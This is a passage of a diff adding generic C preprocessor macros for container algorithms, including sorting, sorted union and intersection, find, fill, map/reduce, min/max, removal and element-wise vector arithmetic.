+    M_CALL_CLEAR(cont_oplist, l2);                                            \
+    M_CALL_CLEAR(cont_oplist, l1);                                            \
+  }                                                                           \
+                                        ,                                     \
+  M_IF_METHOD(IT_PREVIOUS, cont_oplist)(                                      \
+    /******** GENERIC INSERTION SORT *********/                               \
+  M_INLINE void M_F(name,sort_name)(container_t l cmp_param(name))            \
+  {                                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    it_t it2p1;                                                               \
+    /* NOTE: Do not use SET, this is a MOVE operation */                      \
+    /* Start from i := 1 */                                                   \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    M_CALL_IT_NEXT(cont_oplist, it1);                                         \
+    while (!M_CALL_IT_END_P(cont_oplist, it1) ) {                             \
+      type_t x;                                                               \
+      /* x := TAB[i] */                                                       \
+      memcpy (&x, M_CALL_IT_CREF(cont_oplist, it1), sizeof (type_t));         \
+      /* j := i -1 // jp1 := i (= j +1) */                                    \
+      M_CALL_IT_SET(cont_oplist, it2, it1);                                   \
+      M_CALL_IT_PREVIOUS(cont_oplist, it2);                                   \
+      M_CALL_IT_SET(cont_oplist, it2p1, it1);                                 \
+      while (!M_CALL_IT_END_P(cont_oplist, it2)                               \
+             && !(cmp_func(name, sort_name,                                   \
+                           M_CALL_IT_CREF(cont_oplist, it2),                  \
+                           M_CONST_CAST(type_t, &x)) <= 0)) {                 \
+        /* TAB[jp1=j+1] := TAB[j] */                                          \
+        memcpy(M_CALL_IT_REF(cont_oplist, it2p1),                             \
+               M_CALL_IT_CREF(cont_oplist, it2), sizeof (type_t) );           \
+        /* jp1 := j (= jp1-1) */                                              \
+        M_CALL_IT_SET(cont_oplist, it2p1, it2);                               \
+        M_CALL_IT_PREVIOUS(cont_oplist, it2);                                 \
+      }                                                                       \
+      /* TAB[jp1] := x */                                                     \
+      memcpy(M_CALL_IT_REF(cont_oplist, it2p1), &x, sizeof (type_t) );        \
+      /* i := i + 1 */                                                        \
+      M_CALL_IT_NEXT(cont_oplist, it1);                                       \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  ,                                                                           \
+  /********** GENERIC SELECTION SORT ************/                            \
+  M_INLINE void M_F(name,sort_name)(container_t l cmp_param(name))            \
+  {                                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    for(M_CALL_IT_FIRST(cont_oplist, it1, l);                                 \
+        !M_CALL_IT_LAST_P(cont_oplist, it1);                                  \
+        M_CALL_IT_NEXT(cont_oplist, it1))  {                                  \
+      it_t it_min;                                                            \
+      M_CALL_IT_SET(cont_oplist, it_min, it1);                                \
+      M_CALL_IT_SET(cont_oplist, it2, it1);                                   \
+      for(M_CALL_IT_NEXT(cont_oplist, it2) ;                                  \
+          !M_CALL_IT_END_P(cont_oplist, it2);                                 \
+          M_CALL_IT_NEXT(cont_oplist, it2)) {                                 \
+        if (cmp_func(name, sort_name, M_CALL_IT_CREF(cont_oplist, it2),       \
+                     M_CALL_IT_CREF(cont_oplist, it_min)) < 0) {              \
+                     M_CALL_IT_SET(cont_oplist, it_min, it2);                 \
+        }                                                                     \
+      }                                                                       \
+      if (M_CALL_IT_EQUAL_P(cont_oplist, it_min, it1) == false) {             \
+        /* TODO: Use SWAP method of type_oplist if available  */              \
+        type_t x; /* Do not use SET, as it is a MOVE operation */             \
+        memcpy (&x, M_CALL_IT_CREF(cont_oplist, it1), sizeof (type_t));       \
+        memcpy (M_CALL_IT_REF(cont_oplist, it1),                              \
+                M_CALL_IT_CREF(cont_oplist, it_min), sizeof (type_t));        \
+        memcpy (M_CALL_IT_REF(cont_oplist, it_min), &x, sizeof (type_t));     \
+      }                                                                       \
+    }                                                                         \
+  }                                                                           \
+                                                                        ) /* IF IT_PREVIOUS METHOD */ \
+                                                                        ) /* SPLICE BACK METHOD */ \
+                                                                        ) /* IF SORT METHOD */ \
+  /* Compute the union of two ***sorted*** containers  */                     \
+  M_IF_METHOD(IT_INSERT, cont_oplist)(                                        \
+  M_INLINE void                                                               \
+  M_C3(name,sort_name,_union)(M_P_EXPAND container_t dst, const container_t src cmp_param(name)) \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    it_t itIns;                                                               \
+    M_ASSERT(M_C3(name,sort_name,_p)(dst cmp_arg));                           \
+    M_ASSERT(M_C3(name,sort_name,_p)(src cmp_arg));                           \
+    /* Iterate over both dst & src containers */                              \
+    M_CALL_IT_FIRST(cont_oplist, itSrc, src);                                 \
+    M_CALL_IT_FIRST(cont_oplist, itDst, dst);                                 \
+    M_CALL_IT_END(cont_oplist, itIns, dst);                                   \
+    while (!M_CALL_IT_END_P(cont_oplist, itSrc)                               \
+           && !M_CALL_IT_END_P(cont_oplist, itDst)) {                         \
+      type_t const *objSrc = M_CALL_IT_CREF(cont_oplist, itSrc);              \
+      type_t const *objDst = M_CALL_IT_CREF(cont_oplist, itDst);              \
+      /* Compare the current element of src and dst */                        \
+      int cmp = cmp_func(name, sort_name, objDst, objSrc);                    \
+      if (cmp <= 0) {                                                         \
+        /* The element of dst is before. Go to next element of dst */         \
+        M_CALL_IT_SET(cont_oplist, itIns, itDst);                             \
+        M_CALL_IT_NEXT(cont_oplist, itDst);                                   \
+        if (cmp == 0) {                                                       \
+          /* Skip same arguments in both lists */                             \
+          M_CALL_IT_NEXT(cont_oplist, itSrc);                                 \
+        }                                                                     \
+      } else {                                                                \
+        /* The element of src is before. */                                   \
+        /* insert objSrc before */                                            \
+        /* NOTE: IT_INSERT insert after ==> Need of another iterator */       \
+        M_CALL_IT_INSERT(cont_oplist, dst, itIns, *objSrc);                   \
+        M_CALL_IT_NEXT(cont_oplist, itSrc);                                   \
+      }                                                                       \
+    }                                                                         \
+    while (!M_CALL_IT_END_P(cont_oplist, itSrc)) {                            \
+      /* Finish inserting the element of src in dst */                        \
+      type_t *objSrc = M_CALL_IT_REF(cont_oplist, itSrc);                     \
+      M_CALL_IT_INSERT(cont_oplist, dst, itIns, *objSrc);                     \
+      M_CALL_IT_NEXT(cont_oplist, itSrc);                                     \
+    }                                                                         \
+  }                                                                           \
+  , /* NO IT_INSERT */ )                                                      \
+                                                                              \
+  /* Compute the intersection of two ***sorted*** containers  */              \
+  M_IF_METHOD(IT_REMOVE, cont_oplist)(                                        \
+  M_INLINE void                                                               \
+  M_C3(name,sort_name,_intersect)(M_P_EXPAND container_t dst, const container_t src cmp_param(name)) \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    M_ASSERT(M_C3(name,sort_name,_p)(dst cmp_arg));                           \
+    M_ASSERT(M_C3(name,sort_name,_p)(src cmp_arg));                           \
+    M_CALL_IT_FIRST(cont_oplist, itSrc, src);                                 \
+    M_CALL_IT_FIRST(cont_oplist, itDst, dst);                                 \
+    /* TODO: Not optimized at all for array ! O(n^2) */                       \
+    while (!M_CALL_IT_END_P(cont_oplist, itSrc)                               \
+           && !M_CALL_IT_END_P(cont_oplist, itDst)) {                         \
+      type_t const *objSrc = M_CALL_IT_CREF(cont_oplist, itSrc);              \
+      type_t const *objDst = M_CALL_IT_CREF(cont_oplist, itDst);              \
+      int cmp = cmp_func(name, sort_name, objDst, objSrc);                    \
+      if (cmp == 0) {                                                         \
+        /* Keep it */                                                         \
+        M_CALL_IT_NEXT(cont_oplist, itSrc);                                   \
+        M_CALL_IT_NEXT(cont_oplist, itDst);                                   \
+      } else if (cmp < 0) {                                                   \
+        M_CALL_IT_REMOVE(cont_oplist, dst, itDst);                            \
+      } else {                                                                \
+        M_CALL_IT_NEXT(cont_oplist, itSrc);                                   \
+      }                                                                       \
+    }                                                                         \
+    while (!M_CALL_IT_END_P(cont_oplist, itDst)) {                            \
+      M_CALL_IT_REMOVE(cont_oplist, dst, itDst);                              \
+    }                                                                         \
+  }                                                                           \
+  , /* NO IT_REMOVE */ )
+
+
+/* Define the find like algorithms of a given data
+  TODO: Define _find_sorted that find in a sorted random access container 
+  (binary search)
+ */
+#define M_ALG0_DEF_FIND(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+  /* It supposes that the container is not sorted */                          \
+  /* Find the next occurrence from it (included) of data */                   \
+  M_INLINE void                                                               \
+  M_F(name, _find_again) (it_t it, type_t const data)                         \
+  {                                                                           \
+    for ( /*nothing*/ ; !M_CALL_IT_END_P(cont_oplist, it) ;                   \
+                      M_CALL_IT_NEXT(cont_oplist, it)) {                      \
+      if (M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it), data))  \
+        return ;                                                              \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Find the first occurrence of data */                                     \
+  M_INLINE void                                                               \
+  M_F(name, _find) (it_t it, container_t const l, type_t const data)          \
+  {                                                                           \
+    M_CALL_IT_FIRST(cont_oplist, it, l);                                      \
+    M_F(name, _find_again)(it, data);                                         \
+  }                                                                           \
+                                                                              \
+  /* Test if data is within the container */                                  \
+  M_INLINE bool                                                               \
+  M_F(name, _contain_p) (container_t const l, type_t const data)              \
+  {                                                                           \
+    it_t it;                                                                  \
+    M_F(name,_find)(it, l, data);                                             \
+    return !M_CALL_IT_END_P(cont_oplist, it);                                 \
+  }                                                                           \
+                                                                              \
+  /* Find the last occurrence of data in the container */                     \
+  /* For the definition of _find_last, if the methods                         \
+     PREVIOUS & IT_LAST are defined, then search backwards */                 \
+  M_IF_METHOD2(PREVIOUS, IT_LAST, cont_oplist)                                \
+  (                                                                           \
+   M_INLINE void                                                              \
+   M_F(name, _find_last) (it_t it, container_t const l, type_t const data)    \
+   {                                                                          \
+     for (M_CALL_IT_LAST(cont_oplist, it, l);                                 \
+          !M_CALL_IT_END_P(cont_oplist, it) ;                                 \
+          M_CALL_IT_PREVIOUS(cont_oplist, it)) {                              \
+       if (M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it), data)) \
+         /* We can stop as soon as a match is found */                        \
+         return;                                                              \
+     }                                                                        \
+   }                                                                          \
+   ,                                                                          \
+   /* Otherwise search forward, but don't stop on the first occurrence */     \
+   M_INLINE void                                                              \
+   M_F(name, _find_last) (it_t it, container_t const l, type_t const data)    \
+   {                                                                          \
+     M_CALL_IT_END(cont_oplist, it, l);                                       \
+     it_t it2;                                                                \
+     for (M_CALL_IT_FIRST(cont_oplist, it2, l);                               \
+          !M_CALL_IT_END_P(cont_oplist, it2) ;                                \
+          M_CALL_IT_NEXT(cont_oplist, it2)) {                                 \
+       if (M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it2), data)) \
+         /* We cannot stop as soon as a match is found */                     \
+         M_CALL_IT_SET(cont_oplist, it, it2) ;                                \
+     }                                                                        \
+   }                                                                          \
+   ) /* End of alternative of _find_last */                                   \
+                                                                              \
+  /* Count the number of occurrence of data in the container */               \
+  M_INLINE size_t                                                             \
+  M_F(name, _count) (container_t const l, type_t const data)                  \
+  {                                                                           \
+    it_t it;                                                                  \
+    size_t count = 0;                                                         \
+    for (M_CALL_IT_FIRST(cont_oplist, it, l);                                 \
+         !M_CALL_IT_END_P(cont_oplist, it) ;                                  \
+         M_CALL_IT_NEXT(cont_oplist, it)) {                                   \
+      if (M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it), data))  \
+        count++ ;                                                             \
+    }                                                                         \
+    return count;                                                             \
+  }                                                                           \
+                                                                              \
+                                                                              \
+  /* Find the next mismatch between the containers */                         \
+  M_INLINE void                                                               \
+  M_F(name, _mismatch_again) (it_t it1, it_t it2)                             \
+  {                                                                           \
+    for (/* nothing */ ; !M_CALL_IT_END_P(cont_oplist, it1) &&                \
+                         !M_CALL_IT_END_P(cont_oplist, it2);                  \
+                       M_CALL_IT_NEXT(cont_oplist, it1),                      \
+                         M_CALL_IT_NEXT(cont_oplist, it2)) {                  \
+      if (!M_CALL_EQUAL(type_oplist, *M_CALL_IT_CREF(cont_oplist, it1),       \
+                        *M_CALL_IT_CREF(cont_oplist, it2)))                   \
+        break;                                                                \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Find the first mismatch between the containers */                        \
+  M_INLINE void                                                               \
+  M_F(name, _mismatch) (it_t it1, it_t it2, container_t const l1, container_t const l2 ) \
+  {                                                                           \
+    M_CALL_IT_FIRST(cont_oplist, it1, l1);                                    \
+    M_CALL_IT_FIRST(cont_oplist, it2, l2);                                    \
+    M_F(name, _mismatch_again)(it1, it2);                                     \
+  }                                                                           \
+
+
+
+/* Define the find like algorithms with a given callback of function object
+  TODO: Define _find_sorted that find in a sorted random access container 
+  (binary search)
+ */
+#define M_ALG0_DEF_FIND_IF(name, container_t, cont_oplist, type_t, type_oplist, it_t, suffix, test_t, eq_t, call_test, call_eq) \
+                                                                              \
+  /* Find the next occurrence that matches the condition */                   \
+  M_INLINE void                                                               \
+  M_C3(name, _find_again_, suffix) (it_t it, test_t func)                     \
+  {                                                                           \
+    for (/*nothing */ ; !M_CALL_IT_END_P(cont_oplist, it) ;                   \
+                      M_CALL_IT_NEXT(cont_oplist, it)) {                      \
+      if (call_test(func, *M_CALL_IT_CREF(cont_oplist, it)))                  \
+        return ;                                                              \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Find the first occurrence that matches the condition */                  \
+  M_INLINE void                                                               \
+  M_C3(name, _find_, suffix) (it_t it, container_t l, test_t func)            \
+  {                                                                           \
+    M_CALL_IT_FIRST(cont_oplist, it, l);                                      \
+    M_C3(name, _find_again_, suffix)(it, func);                               \
+  }                                                                           \
+                                                                              \
+  /* Count the number of occurrence that matches the condition */             \
+  M_INLINE size_t                                                             \
+  M_C3(name, _count_, suffix) (container_t const l, test_t func)              \
+  {                                                                           \
+    it_t it;                                                                  \
+    size_t count = 0;                                                         \
+    for (M_CALL_IT_FIRST(cont_oplist, it, l);                                 \
+         !M_CALL_IT_END_P(cont_oplist, it) ;                                  \
+         M_CALL_IT_NEXT(cont_oplist, it)) {                                   \
+      if (call_test(func, *M_CALL_IT_CREF(cont_oplist, it))) {                \
+        count++ ;                                                             \
+      }                                                                       \
+    }                                                                         \
+    return count;                                                             \
+  }                                                                           \
+                                                                              \
+  /* Find the next mismatch between the containers according to the condition */ \
+  M_INLINE void                                                               \
+  M_C3(name, _mismatch_again_, suffix) (it_t it1, it_t it2, eq_t func)        \
+  {                                                                           \
+    for (/*nothing */ ; !M_CALL_IT_END_P(cont_oplist, it1) &&                 \
+                        !M_CALL_IT_END_P(cont_oplist, it2);                   \
+                      M_CALL_IT_NEXT(cont_oplist, it1),                       \
+                        M_CALL_IT_NEXT(cont_oplist, it2)) {                   \
+      if (!call_eq(func, *M_CALL_IT_CREF(cont_oplist, it1),                   \
+        *M_CALL_IT_CREF(cont_oplist, it2)))                                   \
+        break;                                                                \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Find the first mismatch between the containers according to the condition */ \
+  M_INLINE void                                                               \
+  M_C3(name, _mismatch_, suffix) (it_t it1, it_t it2, container_t const l1,   \
+                           container_t l2, eq_t func)                         \
+  {                                                                           \
+    M_CALL_IT_FIRST(cont_oplist, it1, l1);                                    \
+    M_CALL_IT_FIRST(cont_oplist, it2, l2);                                    \
+    M_C3(name, _mismatch_again_, suffix)(it1, it2, func);                     \
+  }                                                                           \
+
+
+/* Define the FILL algorithms */
+#define M_ALG0_DEF_FILL(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  /* Fill all the container with value (overwritten) */                       \
+  M_P(void, name, _fill, container_t l, type_t const value)                   \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        M_CALL_SET(type_oplist, *item, value);                                \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* Fill the container with exactly 'n' occurrence of 'value' */             \
+  M_IF_METHOD(PUSH, cont_oplist)(                                             \
+  M_P(void, name, _fill_n, container_t l, size_t n, type_t const value)       \
+  {                                                                           \
+    M_CALL_RESET(cont_oplist, l);                                             \
+    for(size_t i = 0; i < n; i++) {                                           \
+      M_CALL_PUSH(cont_oplist, l, value);                                     \
+    }                                                                         \
+  }                                                                           \
+  , /* PUSH method */ )                                                       \
+                                                                              \
+  /* Fill the container with FOR('value'; 'value'+'inc') */                   \
+  M_IF_METHOD(ADD, type_oplist)(                                              \
+  M_P(void, name, _fill_a, container_t l, type_t const value, type_t const inc) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    type_t tmp;                                                               \
+    M_CALL_INIT_SET(type_oplist, tmp, value);                                 \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        M_CALL_SET(type_oplist, *item, tmp);                                  \
+        M_CALL_ADD(type_oplist, tmp, tmp, inc);                               \
+    }                                                                         \
+    M_CALL_CLEAR(type_oplist, tmp);                                           \
+  }                                                                           \
+                                                                              \
+  /* Fill the container with n occurences of FOR('value'; 'value'+'inc') */   \
+  M_IF_METHOD(PUSH, cont_oplist)(                                             \
+  M_P(void, name, _fill_an, container_t l, size_t n, type_t const value, type_t const inc) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    type_t tmp;                                                               \
+    M_CALL_INIT_SET(type_oplist, tmp, value);                                 \
+    M_CALL_RESET(cont_oplist, l);                                             \
+    for(size_t i = 0; i < n; i++) {                                           \
+      M_CALL_PUSH(cont_oplist, l, tmp);                                       \
+      M_CALL_ADD(type_oplist, tmp, tmp, inc);                                 \
+    }                                                                         \
+    M_CALL_CLEAR(type_oplist, tmp);                                           \
+  }                                                                           \
+  , /* PUSH method */ )                                                       \
+  , /* ADD method */ )                                                        \
+
+
+/* Define MAP algorithms */
+#define M_ALG0_DEF_MAP(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  /* Apply func for all elements of the container */                          \
+  M_INLINE void                                                               \
+  M_F(name, _for_each) (container_t l, M_F(name, _apply_cb_ct) func)          \
+  {                                                                           \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        func(*item);                                                          \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, type_oplist)(                                             \
+  M_IF_METHOD(PUSH, cont_oplist)(                                             \
+                                                                              \
+  /* Apply func for all elements of the container src and push the result in dst */ \
+  M_P(void, name, _transform, container_t dst, container_t src, M_F(name, _transform_cb_ct) func, void *data) \
+  {                                                                           \
+    M_ASSERT(dst != src);                                                     \
+    M_CALL_RESET(cont_oplist, dst);                                           \
+    type_t tmp;                                                               \
+    M_CALL_INIT(type_oplist, tmp);                                            \
+    for M_EACH(item, src, cont_oplist) {                                      \
+        if (func(&tmp, *item, data)) {                                        \
+          M_CALL_PUSH(cont_oplist, dst, tmp);                                 \
+        }                                                                     \
+    }                                                                         \
+    M_CALL_CLEAR(type_oplist, tmp);                                           \
+    M_IF_METHOD(REVERSE, cont_oplist)(M_CALL_REVERSE(cont_oplist, dst),);     \
+  }                                                                           \
+  , /* END PUSH_MOVE */), /* END INIT */ )                                    \
+                                                                              \
+  /* Reduce all elements of the container in dst in function of func */       \
+  M_IF_METHOD(SET, type_oplist)(                                              \
+  M_P(bool, name, _reduce, type_t *dest, container_t const l, M_F(name, _reduce_cb_ct) func) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    bool initDone = false;                                                    \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        if (initDone) {                                                       \
+          func(dest, *item);                                                  \
+        } else {                                                              \
+          M_CALL_SET(type_oplist, *dest, *item);                              \
+          initDone = true;                                                    \
+        }                                                                     \
+      }                                                                       \
+    return initDone;                                                          \
+  }                                                                           \
+  , /* END SET */)                                                            \
+                                                                              \
+  /* Reduce all transformed elements of the container in dst in function of func */ \
+  M_IF_METHOD(INIT, type_oplist)(                                             \
+  M_P(bool, name, _transform_reduce, type_t *dest, const container_t l,       \
+                               M_F(name, _reduce_cb_ct) redFunc,              \
+                               M_F(name, _transform_cb_ct) mapFunc, void *data) \
+  {                                                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    bool initDone = false;                                                    \
+    type_t tmp;                                                               \
+    M_CALL_INIT(type_oplist, tmp);                                            \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        if (initDone) {                                                       \
+          if (mapFunc(&tmp, *item, data) ) {                                  \
+            redFunc(dest, tmp);                                               \
+          }                                                                   \
+        } else {                                                              \
+          initDone = mapFunc(dest, *item, data);                              \
+        }                                                                     \
+      }                                                                       \
+    M_CALL_CLEAR(type_oplist, tmp);                                           \
+    return initDone;                                                          \
+  }                                                                           \
+  , )                                                                         \
+
+
+/* Define ALL_OF algorithms */
+#define M_ALG0_DEF_ALL_OF(name, container_t, cont_oplist, type_t, type_oplist, it_t, suffix, func_t, call) \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_C4(name, _any_of, suffix, p) (container_t const l,                        \
+                                  func_t func )                               \
+  {                                                                           \
+    for M_EACH(item, l, cont_oplist) {                                        \
+      if (call(func, *item))                                                  \
+          return true;                                                        \
+    }                                                                         \
+    return false;                                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_C4(name, _all_of, suffix, p) (container_t const l,                        \
+                                  func_t func )                               \
+  {                                                                           \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        if (!call(func, *item))                                               \
+          return false;                                                       \
+    }                                                                         \
+    return true;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_C4(name, _none_of, suffix, p) (container_t l,                             \
+                                    func_t func )                             \
+  {                                                                           \
+    for M_EACH(item, l, cont_oplist) {                                        \
+        if (call(func, *item))                                                \
+          return false;                                                       \
+      }                                                                       \
+    return true;                                                              \
+  }                                                                           \
+
+
+/* Define MIN / MAX algorithms */
+#define M_ALG0_DEF_MINMAX(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_INLINE type_t *                                                           \
+  M_F(name, _min) (const container_t l)                                       \
+  {                                                                           \
+    type_t *min = NULL;                                                       \
+    for M_EACH(cref, l, cont_oplist) {                                        \
+        if (min == NULL ||                                                    \
+            M_CALL_CMP(type_oplist, *min, *cref) > 0) {                       \
+          min = cref;                                                         \
+        }                                                                     \
+      }                                                                       \
+    return min;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE type_t *                                                           \
+  M_F(name, _max) (const container_t l)                                       \
+  {                                                                           \
+    type_t *max = NULL;                                                       \
+    for M_EACH(cref, l, cont_oplist) {                                        \
+        if (max == NULL ||                                                    \
+            M_CALL_CMP(type_oplist, *max, *cref) < 0) {                       \
+            max = cref;                                                       \
+        }                                                                     \
+      }                                                                       \
+    return max;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _minmax) (type_t **min_p, type_t **max_p,                         \
+                      const container_t l)                                    \
+  {                                                                           \
+    type_t *min = NULL;                                                       \
+    type_t *max = NULL;                                                       \
+    for M_EACH(cref, l, cont_oplist) {                                        \
+        if (min == NULL ||                                                    \
+            M_CALL_CMP(type_oplist, *min, *cref) > 0) {                       \
+            min = cref;                                                       \
+        }                                                                     \
+        if (max == NULL ||                                                    \
+            M_CALL_CMP(type_oplist, *max, *cref) < 0) {                       \
+          max = cref;                                                         \
+        }                                                                     \
+      }                                                                       \
+    *min_p = min;                                                             \
+    *max_p = max;                                                             \
+  }                                                                           \
+
+/* Define functions based on remove method */
+#define M_ALG0_DEF_REMOVE(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_P(void, name, _uniq, container_t l)                                       \
+  {                                                                           \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    M_ASSERT(M_F(name, _sort_p)(l));                                          \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    M_CALL_IT_SET(cont_oplist, it2, it1);                                     \
+    M_CALL_IT_NEXT(cont_oplist, it2);                                         \
+    /* Not efficient for array! */                                            \
+    while (!M_CALL_IT_END_P(cont_oplist, it2)) {                              \
+      type_t const *ref1 = M_CALL_IT_CREF(cont_oplist, it1);                  \
+      type_t const *ref2 = M_CALL_IT_CREF(cont_oplist, it2);                  \
+      if (M_CALL_CMP(type_oplist, *ref1, *ref2) == 0) {                       \
+        M_CALL_IT_REMOVE(cont_oplist, l, it2);                                \
+      } else {                                                                \
+        M_CALL_IT_SET(cont_oplist, it1, it2);                                 \
+        M_CALL_IT_NEXT(cont_oplist, it2);                                     \
+      }                                                                       \
+      }                                                                       \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove_val, container_t l, type_t const val)               \
+  {                                                                           \
+    it_t it1;                                                                 \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    while (!M_CALL_IT_END_P(cont_oplist, it1)) {                              \
+      type_t const *ref1 = M_CALL_IT_CREF(cont_oplist, it1);                  \
+      if (M_CALL_EQUAL(type_oplist, *ref1, val)) {                            \
+        M_CALL_IT_REMOVE(cont_oplist, l, it1);                                \
+      } else {                                                                \
+        M_CALL_IT_NEXT(cont_oplist, it1);                                     \
+      }                                                                       \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove_if, container_t l, M_F(name, _test_cb_ct) func)     \
+  {                                                                           \
+    it_t it1;                                                                 \
+    M_CALL_IT_FIRST(cont_oplist, it1, l);                                     \
+    while (!M_CALL_IT_END_P(cont_oplist, it1)) {                              \
+      type_t const *ref1 = M_CALL_IT_CREF(cont_oplist, it1);                  \
+      if (func(*ref1)) {                                                      \
+        M_CALL_IT_REMOVE(cont_oplist, l, it1);                                \
+      } else {                                                                \
+        M_CALL_IT_NEXT(cont_oplist, it1);                                     \
+      }                                                                       \
+    }                                                                         \
+  }                                                                           \
+
+/* Define vector algorithms */
+#define M_ALG0_DEF_VECTOR(name, container_t, cont_oplist, type_t, type_oplist, it_t) \
+                                                                              \
+  M_IF_METHOD(ADD, type_oplist)(                                              \
+  M_INLINE void M_F(name, _add) (container_t dst, const container_t src)      \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    for (M_CALL_IT_FIRST(cont_oplist, itSrc, src) ,                           \
+           M_CALL_IT_FIRST(cont_oplist, itDst, dst) ;                         \
+         !M_CALL_IT_END_P(cont_oplist, itSrc)                                 \
+           && !M_CALL_IT_END_P(cont_oplist, itDst) ;                          \
+         M_CALL_IT_NEXT(cont_oplist, itSrc),                                  \
+           M_CALL_IT_NEXT(cont_oplist, itDst) ) {                             \
+      type_t *dstItem = M_CALL_IT_REF(cont_oplist, itDst);                    \
+      type_t const *srcItem = M_CALL_IT_CREF(cont_oplist, itSrc);             \
+      M_CALL_ADD(type_oplist, *dstItem, *dstItem, *srcItem);                  \
+    }                                                                         \
+  }                                                                           \
+  , /* NO_ADD METHOD */ )                                                     \
+                                                                              \
+  M_IF_METHOD(SUB, type_oplist)(                                              \
+  M_INLINE void M_F(name, _sub) (container_t dst, const container_t src)      \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    for (M_CALL_IT_FIRST(cont_oplist, itSrc, src) ,                           \
+           M_CALL_IT_FIRST(cont_oplist, itDst, dst) ;                         \
+         !M_CALL_IT_END_P(cont_oplist, itSrc)                                 \
+           && !M_CALL_IT_END_P(cont_oplist, itDst) ;                          \
+         M_CALL_IT_NEXT(cont_oplist, itSrc),                                  \
+           M_CALL_IT_NEXT(cont_oplist, itDst) ) {                             \
+      type_t *dstItem = M_CALL_IT_REF(cont_oplist, itDst);                    \
+      type_t const *srcItem = M_CALL_IT_CREF(cont_oplist, itSrc);             \
+      M_CALL_SUB(type_oplist, *dstItem, *dstItem, *srcItem);                  \
+    }                                                                         \
+  }                                                                           \
+  , /* NO_SUB METHOD */ )                                                     \
+                                                                              \
+  M_IF_METHOD(MUL, type_oplist)(                                              \
+  M_INLINE void M_F(name, _mul) (container_t dst, const container_t src)      \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    for (M_CALL_IT_FIRST(cont_oplist, itSrc, src) ,                           \
+           M_CALL_IT_FIRST(cont_oplist, itDst, dst) ;                         \
+         !M_CALL_IT_END_P(cont_oplist, itSrc)                                 \
+           && !M_CALL_IT_END_P(cont_oplist, itDst) ;                          \
+         M_CALL_IT_NEXT(cont_oplist, itSrc),                                  \
+           M_CALL_IT_NEXT(cont_oplist, itDst) ) {                             \
+      type_t *dstItem = M_CALL_IT_REF(cont_oplist, itDst);                    \
+      type_t const *srcItem = M_CALL_IT_CREF(cont_oplist, itSrc);             \
+      M_CALL_MUL(type_oplist, *dstItem, *dstItem, *srcItem);                  \
+    }                                                                         \
+  }                                                                           \
+  , /* NO_MUL METHOD */ )                                                     \
+                                                                              \
+  M_IF_METHOD(DIV, type_oplist)(                                              \
+  M_INLINE void M_F(name, _div) (container_t dst, const container_t src)      \
+  {                                                                           \
+    it_t itSrc;                                                               \
+    it_t itDst;                                                               \
+    for (M_CALL_IT_FIRST(cont_oplist, itSrc, src) ,                           \
+           M_CALL_IT_FIRST(cont_oplist, itDst, dst) ;                         \
+         !M_CALL_IT_END_P(cont_oplist, itSrc)                                 \
+           && !M_CALL_IT_END_P(cont_oplist, itDst) ;                          \
+         M_CALL_IT_NEXT(cont_oplist, itSrc),                                  \
+           M_CALL_IT_NEXT(cont_oplist, itDst) ) {                             \
+      type_t *dstItem = M_CALL_IT_REF(cont_oplist, itDst);                    \
+      type_t const *srcItem = M_CALL_IT_CREF(cont_oplist, itSrc);             \
+      M_CALL_DIV(type_oplist, *dstItem, *dstItem, *srcItem);                  \
+    }                                                                         \
+  }                                                                           \
+  , /* NO_DIV METHOD */ )                                                     \
+                                                                              \
+
+
+//TODO: Algorithm missing
+// _nth_element ( http://softwareengineering.stackexchange.com/questions/284767/kth-selection-routine-floyd-algorithm-489 )
+// _average
